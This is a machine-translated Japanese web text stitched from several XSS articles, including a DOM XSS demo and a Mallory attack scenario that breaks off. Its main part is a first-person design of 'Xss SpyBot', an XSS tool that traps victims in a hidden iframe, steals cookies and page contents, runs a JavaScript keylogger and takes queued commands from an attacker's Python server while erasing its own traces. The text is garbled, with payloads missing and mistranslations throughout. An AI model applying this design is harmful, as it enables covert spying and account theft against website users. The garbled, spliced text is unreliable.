簡単なハック:クロスサイトスクリプティングインクルージョンを介してデータを取得する方法。 XSSの脆弱性を最大限に活用するXssnoscript警告
XSSの脆弱性とは何ですか? 私は彼女を恐れるべきですか?
クロスサイトスクリプティング(略してXSS)は、多くのWebアプリケーションに影響を与える広範な脆弱性です。 これにより、攻撃者は、サイトにアクセスするユーザーのブラウザーがコードを実行するように、悪意のあるコードをWebサイトに挿入できます。
通常、このような脆弱性を悪用するには、ユーザーとの対話が必要です。ユーザーはソーシャルエンジニアリングを使用して感染したサイトに誘導されるか、ユーザーが自分でサイトにアクセスするのを待つだけです。 したがって、開発者はXSSの脆弱性を真剣に受け止めないことがよくあります。 しかし、それらに対処しないと、深刻なセキュリティ上の脅威をもたらす可能性があります。
WordPress管理パネルにいて、新しいコンテンツを追加していると想像してください。 これにXSSに対して脆弱なプラグインを使用すると、ブラウザに新しい管理者の作成、コンテンツの変更、およびその他の悪意のあるアクションの実行を強制する可能性があります。
クロスサイトスクリプティングにより、攻撃者は最近の最も重要なソフトウェアであるブラウザをほぼ完全に制御できます。
XSS:注入の脆弱性
すべてのWebサイトまたはアプリケーションには、複数のデータ入力場所(URL自体までのフォームフィールド)があります。 データ入力の最も簡単な例は、フォームにユーザー名とパスワードを入力する場合です。
図1.データ入力フォーム
私たちの名前は、将来私たちと連絡を取るためにサイトのデータベースに保存されます。 確かに、どのサイトにもログインすると、「ようこそ、イリヤ」というスタイルの個人的な挨拶が表示されました。 ユーザー名がデータベースに保存されるのはこの目的のためです。
インジェクションは、名前やパスワードの代わりに特別な文字のシーケンスが入力された場合の手順であり、攻撃者が必要とする特定の方法でサーバーまたはブラウザーに反応させます。
クロスサイトスクリプティングは、Webサイトに代わってブラウザーでアクションを実行するコードを挿入するインジェクションです。 これは、ユーザーの知らないうちに、ユーザーへの通知とバックグラウンドの両方で発生する可能性があります。
図2.クロスサイトスクリプトの視覚的な図
最も単純な例は、通知ウィンドウを表示する基本的なスクリプトです。 次のようになります。
表1.ポップアップウィンドウを呼び出すスクリプト
このスクリプトは、「これはXSSの脆弱性です!!!」という碑文のあるウィンドウを呼び出します。 ユーザーのブラウザは、このスクリプトを正当なサイトコードの一部として認識して実行します。
XSSの脆弱性の種類
すべてのXSSの脆弱性が同じというわけではなく、多くの種類があります。 タイプとそれらがどのように相互作用するかを次に示します。
図3.XSSの脆弱性の種類
サーバー側のコード(Java、PHP、.NETなど)によって引き起こされる脆弱性:
従来のXSS攻撃:
- 反映(非永続的)。 反映されたXSS攻撃は、ユーザーが特別に準備されたリンクをクリックするとトリガーされます。 これらの脆弱性は、Webクライアントによって提供されるデータ(ほとんどの場合、HTTP要求パラメーターまたはHTML形式)がサーバー側のスクリプトによって直接実行され、適切な処理なしでそのクライアントの結果ページを解析および表示する場合に発生します。
- 保存済み(永続的)。 格納されたXSSは、攻撃者が元のページにアクセスするたびにブラウザーで実行されるサーバーに悪意のあるコードを挿入できる場合に可能です。 この脆弱性の典型的な例は、HTMLコメントを許可するフォーラムです。
クライアント側のコード(JavaScript、Visual Basic、Flashなど)によって引き起こされる脆弱性:
DOMモデルとも呼ばれます。
- 反映(非永続的)。 サーバー側の場合と同じですが、この場合のみ、コードがブラウザーによって処理されるため、攻撃が可能になります。
- 保存済み(永続的)。 サーバー側に保存されたXSSと同様に、この場合のみ、悪意のあるコンポーネントがブラウザーストレージを使用してクライアント側に保存されます。
インフラストラクチャの脆弱性(ブラウザ、プラグイン、サーバーなど):
非常にまれですが、より危険です:
- クライアント側のインフラストラクチャ。 これは、悪意のあるコンポーネントが、XSSフィルターなどのブラウザー機能の操作を実行したときに発生します。
- サーバー側のインフラストラクチャ。 Webサーバーが要求を正しく処理せず、要求を変更できる場合に発生します。
- 通信網。 クライアントとサーバー間の通信に侵入できる場合に発生します。
ユーザーが誘発する脆弱性:
- Self-XSS。 多くの場合、ソーシャルエンジニアリングの結果として、ユーザーが誤ってブラウザで悪意のあるコードを実行したときに発生します。
XSSの危険性は何ですか?
XSSからサイトをどのように保護できますか? コードの脆弱性を確認するにはどうすればよいですか? このような攻撃を回避するために特別に設計されたSucuriFirewallのようなテクノロジーがあります。 ただし、開発者の場合は、XSSの脆弱性を特定して修正する方法について詳しく知りたいと思うでしょう。 これについては、XSSに関する記事の次のパートで説明します。
誰もが長い間、XSSを使用して、攻撃者が被害者にCookieを送信し、CSRFトークンを読み取り、フィッシング攻撃を実行し(偽のログインフォームを作成することにより)、ユーザーに代わって何らかのアクションを実行し、その他の同様の攻撃を試みることを長い間知っていました(おそらくこれはそうではありません) すべての可能性がありますが、これらはすべて、現時点で私が知っている最も人気のあるものです)。
この方法の目的は、攻撃されたサイトにアクセスするユーザーに代わってページを監視し、キーストロークを監視することです(移動してマウスをクリックすることもできますが、私にとってこれは不要であり、ほとんどの場合、非常に有用な情報ではありません) ..。
今、最大の利益のために-私はアルゴリズムが次のようになると信じています:
- クッキーを読んで送信する。
- 残りの情報(IPアドレス、インストールされているプラ\u200b\u200bグイン、ブラウザーのバージョンとタイプ、フラッシュのサポート、シルバーライトのサポートなど)を読んで送信します[オプション]
- 内部ネットワークに関する情報を取得し、ルーターを突破します[オプション]
- さまざまなトークンの読み取りと送信[オプション];
- フィッシングを実装します[オプション]。
- ユーザーが「手で」「何かをする」[オプション];
- 彼がタブを閉じるかサイトを離れるまで、私たちは彼をスパイし、情報を抽出し続けます。
リスト内のすべてのオプション項目は、XSSを使用して達成する目的のために、状況と特定の優先順位に応じて実行する必要があります。これらは互いに干渉し(より正確には、次々に実行しようとすると)、XSSの悪用が失敗する可能性を高める可能性があります。
ただし、いずれの場合も、常に最初と最後のポイントに従う必要があります。実際、記事の主要部分は、このリストの最後のポイントについてです。
目標に到達します。
遠くから始めましょう。JavaScriptを使用すると、ページをリロードせずにアドレスバーのパスを変更できます。 たとえば、ユーザーがでページを読み込んだ場合
http://site.com/some/path/to/page/
次に、アドレスバーのコンテンツは次のようになります(ページをリロードしない場合)。
http://site.com/new-url/
http://site.com/new-url/ |
ちなみに、この機能は、Reflected XSSを含むリンクをクリックした後、ユーザー(またはより注意深いカテゴリのユーザー-管理者)からURLを非表示にする必要がある場合に非常に役立つことがあります。これにより、後でページを読み込んだ後、 アドレスバーに、何も見つかりませんでした。
http: //site.com/search.php?q\u003d123 |
http://site.com/search.php?q\u003d123
http: //site.com/search.php?q\u003d123 |
私たちは彼からこの機会を奪います。
しかし、この手法にはさらに興味深く強力な用途があります。 リンクをクリックした後のユーザーのサイト滞在をシミュレートします。実際、ユーザーは常に同じページに留まります。この時点で、サードパーティのスクリプトが機能し、情報を抽出して攻撃者に送信します。 この方法では、 XSSは、ユーザーがこのドメインのリンクをたどる限り機能します .
アイデアを定義します。
一般的な操作の原則は次のとおりです。ユーザーがXSSでページにアクセスすると、スクリプトはこのページと同じアドレスでiframeを作成し、それをフォアグラウンドに「貼り付け」ます。iframeはコードでのみ表示されるため、ユーザーはページが正常に読み込まれたという印象を持ちます。 ページ。
また、補助スクリプトはスパイボットのロジックを制御します。つまり、アドレスバーでアドレスを変更するために、フレーム内のアドレスがいつ変更されるかを監視しますが、フレームの新しく変更されたアドレスに別のドメインがある場合は、新しいvlkadkaで開くことができます。そうでない場合は、ページを再読み込みする必要があります。 やけどしないように。
したがって、XSSの実行を現時点で停止するには、ユーザーはページを手動で更新する必要があります(XSSが反映され、POSTメソッドを使用して送信された場合、更新は保存されません。ちなみに、一部のブラウザーは、ページの更新時にPOST要求を再度送信できます)。 タブを閉じるか、別のドメインに切り替えます(ただし、この場合でも、制御を失うことはありません)。
攻撃されたドメインのサブドメインに移動した場合、攻撃者の選択、つまりXSSは機能しますが、ユーザーがアドレス間に不一致を確認する可能性はわずかです。 たとえば、google.ruドメインが攻撃された場合、ユーザーは通常drive.google.ruサブドメインにあるGoogleのクラウドファイルサービスに切り替えた場合、アドレスバーを見たときにキャッチに気付く可能性が非常に高いと思います。 、 彼がこのサービスを頻繁に使用した場合..。 そうでなければ、あなたはそれを危険にさらす可能性があります。 ただし、クロスオリジンポリシーでは許可されていないため、サブドメインを持つフレームからデータを読み取ることができないことを考慮に入れる必要があります。 ただし、非表示モードでは、メインドメインに代わって静かに登ることができます(これについては、以下で詳しく説明します)。
この方法にのみ制限があります。つまり、サイトのWebサーバーの応答にヘッダーがある場合は機能しません。 Xフレーム-オプション意味のある 拒否..。 しかし、個人的には、そのようなサイトに数回会ったことがありますが、今では半分になっています SAMEORIGIN公開されていない、ましてや完全な制限 拒否.
アイデアを分析します。
今では、BeEFのような素晴らしいものを覚えている人も多いでしょう。BeEFにも興味深いものがたくさんあります。 ちなみに、フレーム内でユーザーを強制的にリダイレクトするオプションもありますが、アドレスバーのアドレスは変更されないため、すぐにデスクを焼く可能性があり、このオプションは他の目的には少し役立ちます。
一般に、BeEF'eには必要なものがほぼすべて揃っており、追加機能もたくさんありますが、個人的には次のような追加機能が必要でした。
- 攻撃されたユーザーが利用できるページのコードをリアルタイムで監視する機能。
- 彼がそのサイトで入力したすべてのもの(ログインとパスワードからホットキーとメッセージまで)、つまりJSのキーロガーを監視する機能。
- 受信したページのコードを表示した後、リアルタイムでボットにJSコマンドを与える機能。
- コマンドをローカルでボットに任せて、直接参加せずにコマンドを「ピックアップ」して実行する機能。
- ボットが火傷する可能性が低い、またはボットが詮索好きな目から「隠す」能力。
上記のように、私はコマンド実行キューのBeEFのクールなアイデアから借りることにしました。 たとえば、特権ユーザーがXSSを保存してコントロールパネルに登ったときにボットがスローしたページを分析し、コマンドをボットに任せます-次にユーザーが入力するときのように、JSコード、このボタンを押す、この値をここに書き込むなど。 このユーザーが次にページにアクセスすると、ボットはコマンドを読み取って実行します。私たちは彼の指揮を執る必要はまったくありません。非常に便利です。
基本的に、このようなボットは、もちろん、コンテンツ管理の追加の「レバー」を持つ一部のサイトのステータスユーザー、他のユーザーなどのために設計されています。 機能の要求から、サーバー側なしでは実行できないことは明らかです。
アイデアを実装しましょう。
原則として、記事のこの部分はスキップできます。これは、誰かがボットを作り直したり、自分で完成させたい場合に備えて、目的のボットを実装するプロセスとその詳細の一部を説明しているだけだからです。 コードの最初のボットには、いくつかの設定を行うことができる変数がありますが。
まず、ロードの瞬間からのボットアクションのアルゴリズム:
1)ヘッダーの確認 Xフレーム-オプション:拒否(ある場合は、釣り棒を巻き上げます);
2)フレームを埋め込み、ボットのすべてのコンポーネントを設定します。
3)スクリプトとHTMLコード内のすべてのトレースを削除します。
4)サーバー側との接続を確立し、データの送信を開始し、応答に反応します(サーバーからコマンドを受信します)。
最初のポイントは完全ではありませんでした。つまり、ボットは最初のページとルートヘッダーのみをチェックします。 実際、これらのヘッダーは通常、すべてのページに対してWebサーバーによって一度に埋め込まれ、すべてが別のページに対して「手動で」行われることは非常にまれです。 そして、このタイトル自体は非常にまれです。 さて、2番目と3番目について言うことは特別なことは何もありません、すべてが低くなります。
コードにボットスクリプトコードを追加する前に、アドレスバーのXSS記号を(JSコードから)すぐに削除する必要があるという比較的重要な点があります。これにより、検出の可能性が減り、最も重要なこととして、アドレスがフレームに追加されたときに発生する再帰が防止されます。 同じXSSコードを使用して、それ自体で別のフレームを作成します。
ただし、念のため、ボットコードは、そのようなフレームの再帰を検出し、作成済みのフレームにフレームを追加する最初の試みでそれを防ぐ可能性を実装しますが、それだけに依存するのではなく、ボットコードをロードする前にコードを追加で削除することをお勧めします。 まだ問題はありませんが。
フレームアップデートチェック機能。 イベントハンドラーをオンにすることで、この問題を経済的に解決するいくつかの方法を試しました contentWindowまたは contentDocument、しかし何も成功しなかったので、フレームのアドレスをチェックして以前に保存したものと比較し、これに基づいてフレームが更新されているかどうか(アドレスが変更されているかどうか)を判断し、それ自体を再帰的に呼び出す関数を作成する必要がありました。
1秒あたりのこのようなチェックの頻度は、変数によって制御されます。 ディレイ、ボットコードファイルの先頭で指定されます。 しかし後で、すでにそれを書いたので、私はより効率的な解決策を見つけました-単純な解決策を使用してハングアップします オンロードフレームごとに、その機能を残しましたが、後でもっと需要があることが判明した場合に備えて、コメントアウトしました。
ページのHTMLコードを送信します。
ここでは、スキームは非常に単純です。フレームをリロードするたびに(最初のロードを含む)、ボットはページのHTMLコード全体と現在のアドレスをサーバーに送信するため、後でコードが必要なページに属しているかどうかを区別できます。
ページを保存するロジックはサーバーに実装されています。各ドメインのサーバーは、このドメインの名前でフォルダーを作成し、そこにすべてのデータを保存します。 ページコードは保存され、常に最新バージョンに更新されますが、必要に応じてバージョン履歴を制御できるように、毎日新しいページのコピーが作成されます。 つまり、 /news.php9月1日にステータスが更新され、9月2日にそのコピーが作成されます。これは、その日にのみ関連するため、毎日新しくなります(ユーザーが毎日このページにアクセスした場合)。 ページ名は、日付と、サイトルートを基準にした(つまり、ドメインを含まない)このページへのパスで構成されます。
JavaScriptのキーロガー。
このアイデアはすでに一部の愛好家によって実装されていますが、私にとっては、それらのほとんどが非常に単純である、つまり、押されたキーのコードを検出し、 String.fromCharCodeシンボルに変換されます。 ただし、この方法にはいくつかの欠点があります。Shift、Control、Spaceなどの制御キーは、どの形式にも変換されず(多くの場合、空の文字のみ)、プログラムで実装する必要があるため、英数字キーとShiftキーの相互作用が誤ってログに記録されます。 また、押されたすべてのキーは大文字で表示され、プログラムで修正することもできます。
その結果、数字、文字、基本文字のすべてのキーを正しく検出し、両方のレイアウトで作業し、シフトに応答し、すべての主要な特殊キーをログに記録するキーロガーが作成されました。 確かに、一部のマシンでは、一部の企業が変更する基本標準に従って実装されているため、一部の文字(シフトと番号を押すと印刷されるデジタル行の上部)が異なる場合があります。
押された文字の各部分は、テキスト要素がフォーカスを失うまでクライアントによって保持されます。 次に、この部分はサーバーに送信され、テキストファイルに保存されます。テキストファイルは毎日新しいコピーで作成されるため、大きなサイズに拡大することはなく、そのときにユーザーが入力していた内容をすばやく見つけることができます。
キー自体に加えて、テキストが入力された要素に関する情報が各部分とともにサーバーに送信されます(つまり、 , またはいくつか
ユーザーがホットキーを使用した場合)、要素の名前に加えて、その基本データ(id、name、class-存在する場合)が送信されるため、コードで簡単に見つけることができます。 そしてもちろん、セットがあったページのアドレスとこのセットのおおよその時間が記録されます。 一般に、ユーザーがキーボードをノックしたことに関する情報は、その後の分析のために十分に送信されます。
ボットに命令します。
このプロセスは、攻撃者によって、またはボットのサーバー部分が起動される側で、あるいはリモートで実行される可能性があります。 サーバースクリプトを開始すると、自作のミニチュアWebサーバーが起動します。このサーバーは、Webインターフェイスを介して機能するボットとそのコントローラーの要求を処理します。 つまり、起動後、Webサーバーはリンクを発行します。リンクをクリックすると、ボットへのコマンドの提供を開始できます。
このコントロールパネルについて。 まず、パスワードで制限する必要がありました(パスと、そのようなポートで実行されているサービス、またはこのサービスを使用するためにログインする必要のあるアドレスについて知っている人はほとんどいません)。最初にサーバーに入るときに、提供されたパスワードを要求されます。 アドレスバー(例を示します)に、元のパスワードが保存されます。 password.txtそれは変更することができます。 最初のアクセス後、WebサーバーはブラウザにパスワードをCookieに保存するように指示するので、もう心配する必要はありません。
ボット自体にコマンドを送信するためのページには、ボットの状態に関する情報もあります。現在オンラインかオフラインか、いくつかの設定があります。最初の設定はホスト、つまりコマンドがボットに送信されるサイトのIPアドレスまたはドメインです。 これは、複数のサイトにこのボットが含まれている場合に計算され、識別できるようになります。 サーバー上では、この場合も、すべてのデータがドメイン名を持つフォルダーに分割されます。
次に、JSでボットにコマンドを書き込むウィンドウと、ボットが置かれているメインウィンドウまたはフレーム内でこのJSコードが実行される場所を設定するオプションがあります。これは、念のために行っています。
ボットがオンラインでない場合、サーバーはコマンドを保存するだけで、後でボットがオンラインになると、つまり、ユーザーはボットを使用してページに再度アクセスするか、攻撃者のリンクをたどります。これらのコマンドが実行されます。
これは、最初の偵察中に、ボットがJSでコマンドをコンパイルしたコードを調べて、ユーザーがアクセスしたすべてのページ(個人アカウントなど)を破棄し、ボットが必要なリンクをクリックし、必要なデータを入力し、必要な写真を表示するなどの場合に非常に便利です。 設定された目標を達成します。
または、直接リアルタイムで、コードを介してページのコンテンツをすばやく確認し、他のページのコードを送信したり、別のアドレスに移動したりするコマンドをボットに与えることができます。これらはすべて、ユーザーが「画面の後ろ」で実行し、静かにサーフィンをします。 フレームを介してサイト。
便宜上、最も頻繁に使用される命令をJSの関数全体に形成し、それをソースファイルボットに入力することができます( xsb.js、ファイル構造については以下で説明します)および使用。 または、ボットに埋め込まれている機能を使用します。ただし、基本はあり、新しいものはありませんが、たとえば、フレームがリロードされたときではなく、いつでもページコードを送信する機能を使用できます。 ユーザーに代わって複数のページのコンテンツを表示する(そしてこのコンテンツを仮想の手で操作する)ために、渡されたリンクをバックグラウンドの新しいフレームで開く関数を作成できます。
独自のコードを削除します。
最後の機能は非常に簡単に実装されます(ファイルに目的の変数を設定することで無効にできます。コメントアウトされています)。 スクリプトは、すべてのイベントハンドラーを設定してハングさせ、すべての変数と関数を作成した後、それ自体を削除します
結局のところ、すべてのデータはすでにブラウザを介してRAMにロードされているので、心配する必要はありませんが、これは理論的には、後で考慮しなかった問題が発生する可能性があるため、によって無効にできる変数を指定しました 必要性。
すべてのスクリプトを削除した後、フレームの存在がXSSについて完全に間接的に説明しておらず、コード自体がブラウザのネットワークトラフィック履歴ログ(開発者パネルが開いていない場合、多くのブラウザでデフォルトで保持されない)にのみ存在するため、XSSに気付くのは非常に困難です。 ..。
サーバー部分。
ボットを起動するためのより簡単で便利な方法として、ボットにサービスを提供し、送信されたデータを送受信するためのすべての操作を提供し、攻撃者とボットの間でメッセージを送信し、攻撃者に命令するためのWebインターフェイスを作成する、独自の小さなWebサーバーをソケットに作成することにしました。 ..。
サーバーはpythonで書かれていて、起動する前に何もインストールする必要がないように、標準のライブラリのみを使用しようとしました。 また、サーバー自体がスクリプト内の一部のデータを編集します。つまり、ボットのJSスクリプトでは、コマンドサーバーのアドレスを設定する必要はありません。Webサーバー自体が起動時に必要なアドレスをそこに配置します。 サーバー構成には、起動するポート(デフォルトでは8000)という1つのパラメーターしかありません。
起動後、サーバーは必要なすべてのデータを表示します。JSスクリプトへのリンク(スリップする必要があります)、コマンドパネルへのリンク、より正確には、外部アドレスとローカルアドレスへのリンクです。
ボットを操作するスキーム。
要求されていないポートでサーバーを起動し、ボットスクリプトを使用してリンクを送信できます。その後、それに従うすべての人が、サーバーが1日中いつでも保存できるデータを送信します。 その後、チームをボットに任せてビジネスを継続する必要がある場合は、単にそれらを表示できます。
ファイル構造。
このフォルダーには、次のファイルが含まれています。
- xsb.py-ボットがサーバー側を実行し、提供されたリンクを使用するために、サーバー側を実装するメインファイル。
- xsb.js-ボットのJSコードがここに保存され、サーバーによって発行されるリンクが最初に宣言されます。構成変数は、ユーザーの裁量で変更できます(つまり、ホストとポートの一部はサーバー自体によって設定されます。心配する必要はありません)。
- panel.html-ここから、サーバーがボットコントロールパネルのコードを取得します。任意にインターフェイスを微調整できます。
- password.txt-コントロールパネルのパスワードはここに保存されており、変更できます。
- savedData-これは、サイトドメインを含むフォルダーが作成され、すべての情報が保存されるディレクトリです。
もう一度、私はファイルにそれを書き留めます xsb.js独自の関数を追加して、コードの大部分を記述することなく、パネルから呼び出すことができます。
結果の小さな分析。
フレームを介してXSSを使用してページにユーザーを維持する独自の方法を作成した後(まあ、発明されたものとして-私は自分でそれを個人的に発見しました。他の誰かがこの手法を自分で「発明」した可能性があります。 輝いていたのは、今では本当に新しいものを開発するのが非常に難しいためです。原則として、しばらくすると「すでにシンプソンズにあった」ことに気付きます)私はBeEFをさらに詳しく掘り下げ、そのwikiを読み始めました。 次に、同じ目標を達成するために別の手法が実装されていることを発見しました。実行可能なXSS(そこで呼び出された)を使用してページでのユーザーの時間を延長します。 man-in-the-browser)。 そして、それは次のように実装されました:最初のページのすべてのリンクは、それらのいずれかをクリックしたときにスクリプトがページをリロードしないように変更されましたが、Ajaxを介してサーバーに要求を送信し、応答で受信したデータを挿入しました。つまり、人為的に更新したと言えます。 定期的な更新とほとんど区別がつきません。
したがって、このアイデアを実装したのは私が最初ではありませんでした(方法が異なっていたとしても)。 しかし、これらの方法には両方とも欠点があります。
アップロード方法
ajaxメソッドは、ブラウザーがサポートしている場合は常に機能します(現在、すべての主要なブラウザーがサポートしています)が、新しいWeb 2.0標準では、JSを介した要素のカスタムイベントによってトリガーされる遷移がますます増えています。 Google AdWordsにアクセスして、HTMLとJSがそこでどのように相互作用するかを確認することにしました。これは、すべてのスパイダーがこのサービスのマップを作成するのが非常に苦手だったためです。 そして、テキスト要素がボタン、スイッチ、スライダーであり、それらが描写していなかったものであり、それぞれに約30の異なるイベントハンドラーがぶら下がっていたとき、私は夜中ずっと静かにめちゃくちゃになりました。
つまり、派手なサイトでは、移行ボタン(場合によってはリンク)は通常のタグを介して実装されます 、スタイルがロードされ、イベントハンドラーがハングします。たとえば、そのうちの1つは onclickは、ユーザーを別のページにリダイレクトします。 [i]のような標準的な要素もあります または私自身 など、実際には他のページへのリンクでもありますが、BeEFは応答せず、ほとんどのボタンや他の要素をクリックしてもページは更新されません。 これにより、ユーザーはページを更新するか、「反対側から」再アクセスするように求められ、アクティブなXSSセッションが強制終了されます。
ファイルの名前を簡潔にするために、Xss SpyBotという名前を付けました。
P.S.
定期的な時間の不足と絶え間ない気晴らしのために、すべてが書くのに1か月強かかりました。 また、このため、コードの品質と何らかのバグに遭遇する可能性は非常に高くなります。 ですから、誓いすぎないようにお願いしますが、誰かの問題を修正できるように、購読を解除してください。
私自身、ボットを4台のマシンでテストしましたが、すべてにDebianが搭載されていました。
このボットの長期計画で、動機がある場合:
-ボットがサーバーに送信するページのコードのレンダリングを実装して、ブラウザーですぐに開き、オンザフライでテストできるようにします。
-彼らはWebRTCテクノロジーから良いものを見つけようとします。つまり、純粋なJSでは引き出すことができない新しい情報を取得する方法を見つけます。
-HTTPを介したWebSocketプロトコルを使用して、ボットとサーバー間の通信を実装します。
-コントロールパネルにいくつかの便利さを追加します。
- 1.XSSとは
- 2.XSSビュー
- 3.DOMベースのXSSの機能
- 4.XSS監査人
- XSSエクスプロイトの5つの例
- 6.XSSに対して脆弱なサイトを検索する
- 7.XSSの脆弱性を検索およびスキャンするためのプログラム
XSSとは
クロスサイトスクリプティング(XSS)は、他のユーザーが表示しているWebページにクライアント側コード(JavaScript)を挿入することを伴う脆弱性です。
この脆弱性は、ユーザーがWebページに挿入するために送信するデータのフィルタリングが不十分であるために発生します。 特定の例を使用すると、はるかに理解しやすくなります。 ゲストブックについて考えてみてください。これらは、ユーザーからのデータを受け取り、それを表示するように設計されたプログラムです。 ゲストブックが入力データをチェックまたはフィルタリングせず、単に表示することを想像してみましょう。
最も単純なスクリプトをスケッチすることができます(PHPで悪いスクリプトを書くことほど簡単なことはありません-多くの人がこれを行います)。 しかし、すでにたくさんの既製のオプションがあります。 たとえば、DojoとOWASP MutillidaeIIを使い始めることをお勧めします。 同様の例があります。 スタンドアロンのDojoでは、次の場所にあるブラウザにアクセスします。http://localhost/mutillidae/index.php?Page \u003d add-to-your-blog.php
ユーザーの1人が入力した場合:
こんにちは! お元気ですか。
次に、Webページが表示されます。
こんにちは! お元気ですか。
そして、ユーザーが次のように入力した場合:
こんにちは! お元気ですか。
次に、次のように表示されます。
ブラウザは、多数のサイトに複数のCookieを保存します。 各サイトは、それ自体で保存されたCookieのみを受信できます。 たとえば、example.comはブラウザにいくつかのCookieを保存しています。 another.comサイトにアクセスすると、このサイト(クライアントおよびサーバースクリプト)はexample.comによって保存されたCookieにアクセスできません。
サイトexample.comがXSSに対して脆弱である場合、これは、何らかの方法でJavaScriptコードを挿入できることを意味し、このコードはサイトexample.comに代わって実行されます。 それら。 このコードは、たとえば、サイトexample.comのCookieにアクセスします。
JavaScriptはユーザーのブラウザで実行されることを誰もが覚えていると思います。 XSSが存在する場合、挿入された悪意のあるコードは、Webサイトページを開いたユーザーのデータにアクセスできます。
挿入されたコードは、JavaScriptが実行できるすべてのことを実行できます。
- 訪問したサイトのCookieにアクセスします
- ページの外観に変更を加えることができます
- クリップボードにアクセスします
- キーロガー(押されたキーのインターセプター)などのJavaScriptプログラムを挿入できます
- beEFに接続する
最も単純なCookieの例:
実は アラート XSS検出にのみ使用されます。 実際の悪意のあるペイロードは、秘密のアクションを実行します。 攻撃者のリモートサーバーと密かに通信し、盗んだデータをリモートサーバーに転送します。
XSSビュー
XSSのタイプについて理解するための最も重要なことは、次のとおりです。
- 保存済み(永続的)
- 反映(永久)
定数の例:
- 攻撃者が入力してサーバーに保存した特別に細工されたゲストブックメッセージ(コメント、フォーラムメッセージ、プロファイル)は、ユーザーがこのページの表示を要求するたびにサーバーからダウンロードされます。
- 攻撃者は、たとえばSQLインジェクションを介してサーバーデータにアクセスし、ユーザーに表示されるデータに悪意のあるJavaScriptコード(キーロガーまたはBeEFを使用)をインジェクションしました。
揮発性の例:
- サイトに検索があり、検索結果とともに「検索しました:[検索文字列]」のようなものが表示されますが、データは適切にフィルタリングされていません。 このようなページはリンクを持っている人にのみ表示されるため、攻撃者が他のサイトユーザーにリンクを送信するまで攻撃は機能しません。 被害者にリンクを送信する代わりに、被害者がアクセスした中立的なサイトに悪意のあるスクリプトを配置することを使用できます。
彼らはまた区別します(ある種の揮発性XSS脆弱性として、ある種はこの種が一種の永続的なXSSである可能性があると言う):
- DOMモデル
DOMベースのXSS機能
簡単に言うと、HTMLコードを開くと、「通常の」非永続的なXSSの悪意のあるコードが表示されます。 たとえば、リンクは次のように形成されます。
Http://example.com/search.php?q\u003d "/\u003e
そして、ソースHTMLコードを開くと、次のようなものが表示されます。
< div class = "m__search" > < form method = "get" action = "/search.php" > < input type = "text" class = "ui-input query" name = "q" value = "" /> < script >アラート(1) script >" /> < button type = "submit" class = "ui-button" >見つけるには button > form >
また、DOM XSSは、ブラウザでその場で形成されるDOM構造を変更します。悪意のあるコードは、形成されたDOM構造を表示した場合にのみ表示されます。 これはHTMLを変更しません。 このコードを例として取り上げましょう。
< html > < head > < title >サイト::: DOM XSS title > < meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > head > < body > < div id = "default" > エラーが発生しました ... div > < script > function OnLoad()(var foundFrag \u003d get_fragment(); return foundFrag;)function get_fragment()(var r4c \u003d "(。*?)"; var results \u003d location.hash.match( "。* input \u003d token(" + r4c + ");")if(results)(document.getElementById( "default")。innerHTML \u003d ""; return(unescape(results));)else(return null;))display_session \u003d OnLoad(); document.write( "セッションIDは次のとおりです:" + display_session + "< br >< br >") script > body > html >
次に、ブラウザに次のように表示されます。
ページのソースコード:
次のようにアドレスを作成しましょう。
Http://localhost/tests/XSS/dom_xss.html#input\u003dtokenAlex;
ページは次のようになります。
しかし、HTMLソースを見てみましょう。
そこでは何も変わっていません。 これは私が言ったことです。悪意のあるコードを明らかにするために、ドキュメントのDOM構造を調べる必要があります。
これはXSSの動作するプロトタイプです。実際の攻撃には、より複雑なペイロードが必要です。これは、アプリケーションがセミコロンの直後に読み取りを停止するため、不可能です。 アラート(1);アラート(2) もはや不可能です。 しかし、おかげで エスケープ解除() 返されるデータでは、次のようなペイロードを使用できます。
Http://localhost/tests/XSS/dom_xss.html#input\u003dtokenAlex;
シンボルをどこに置き換えましたか ; URIでエンコードされた同等のものに!
これで、標準の非永続的なクロスサイトスクリプトの場合と同様に、悪意のあるJavaScriptペイロードを記述し、被害者に送信するリンクを作成できます。
XSS監査人
Google Chrome(および現在Google Chromeエンジンを使用しているOpera)では、次のような驚きがありました。
dom_xss.html:30 XSS監査人は、「http://localhost/tests/XSS/dom_xss.html#input\u003dtoken ‹script› alert(1)」でスクリプトの実行を拒否しました。; ’そのソースコードがリクエスト内で見つかったため。 サーバーが「X-XSS-Protection」ヘッダーも「Content-Security-Policy」ヘッダーも送信しなかったため、監査人は有効になりました。
それら。 XSSを防止しようとするXSS監査人がブラウザにいます。 Firefoxにはまだこの機能がありませんが、時間の問題だと思います。 ブラウザでの実装が成功した場合、XSSの使用における重大な困難について話すことができます。
最新のブラウザは、揮発性XSSやDOMベースのXSSなどの問題の悪用を制限するための措置を講じていることを覚えておくと役に立ちます。 これは、ブラウザを使用してWebサイトをテストするときにも覚えておく必要があります。Webアプリケーションが脆弱であることが判明する可能性がありますが、ブラウザがブロックしているという理由だけで確認ポップアップは表示されません。
XSSエクスプロイトの例
クロスサイトスクリプトの脆弱性を悪用しようとする攻撃者は、各脆弱性クラスに異なる方法でアプローチする必要があります。 ここでは、各クラスの攻撃ベクトルについて説明します。
XSSの脆弱性により、攻撃はBeEFを使用できます。これにより、攻撃がWebサイトからローカルユーザー環境に拡張されます。
揮発性XSS攻撃の例
1.アリスは、ボブがホストする特定のWebサイトに頻繁にアクセスします。 ボブのウェブサイトでは、アリスがユーザー名/パスワードでログインし、支払い情報などの機密データを保存することができます。 ユーザーがログインすると、ブラウザは無意味な文字のように見える認証Cookieを保存します。 両方のコンピューター(クライアントとサーバー)は、彼女がログインしたことを覚えています。
2. Malorieは、BobのWebサイトに揮発性のXSS脆弱性が含まれていると述べています。
2.1検索ページにアクセスすると、検索文字列を入力して送信ボタンをクリックします。結果が見つからない場合、ページには入力した検索文字列が表示され、その後に「見つかりません」という単語が続き、URLは次のようになります。 http://bobssite.org?q\u003d彼女の検索クエリ
2.2「 わんわん「ページが表示されるだけ」 わんわん 見つかりません」およびurlhttp://bobssite.org?q \u003d わんわん、これは正常な動作です。
2.3ただし、次のような異常な検索クエリの場合 :
2.3.1警告メッセージが表示されます(「xss」と表示されます)。
2.3.2ページ表示 見つかりません テキスト「xss」を含むエラーメッセージとともに。
2.3.3使用可能なURL http://bobssite.org?q\u003d
3.マロリーは、脆弱性を悪用するためにURLを作成します。
